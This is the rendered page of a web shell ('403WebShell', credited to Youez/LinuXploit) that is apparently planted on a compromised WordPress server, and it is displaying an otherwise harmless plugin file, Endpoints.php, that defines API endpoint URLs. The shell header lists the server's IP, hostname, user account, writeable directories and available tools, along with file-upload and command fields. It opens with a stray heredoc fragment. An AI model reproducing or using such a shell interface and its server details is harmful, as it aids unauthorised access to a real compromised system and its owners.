$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Api/Endpoints.php
<?php
/**
 * API endpoints.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Api;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Holds API server URL and path definitions.
 */
class Endpoints {

	public const SERVER = 'https://api.hellowp.io';

	public const PATHS = array(
		'download'       => '/v1/hp-content/download',
		'catalog-item'   => '/v1/hp-content/catalog/item',
		'list-purchases' => '/v1/hp-content/',
		'total-items'    => '/v1/hp-content/total-items',
		'api-check'      => '/v1/hp-content/apicheck/',
	);

	/**
	 * Get full URL for a named endpoint.
	 *
	 * @param string $name Endpoint name.
	 * @return string
	 * @throws \InvalidArgumentException When the endpoint name is not registered.
	 */
	public static function url( string $name ): string {
		if ( ! isset( self::PATHS[ $name ] ) ) {
			throw new \InvalidArgumentException( sprintf( 'Unknown endpoint: %s', esc_html( $name ) ) );
		}

		return self::SERVER . self::PATHS[ $name ];
	}

	/**
	 * Get the path for a named endpoint.
	 *
	 * @param string $name Endpoint name.
	 * @return string
	 * @throws \InvalidArgumentException When the endpoint name is not registered.
	 */
	public static function path( string $name ): string {
		if ( ! isset( self::PATHS[ $name ] ) ) {
			throw new \InvalidArgumentException( sprintf( 'Unknown endpoint: %s', esc_html( $name ) ) );
		}

		return self::PATHS[ $name ];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit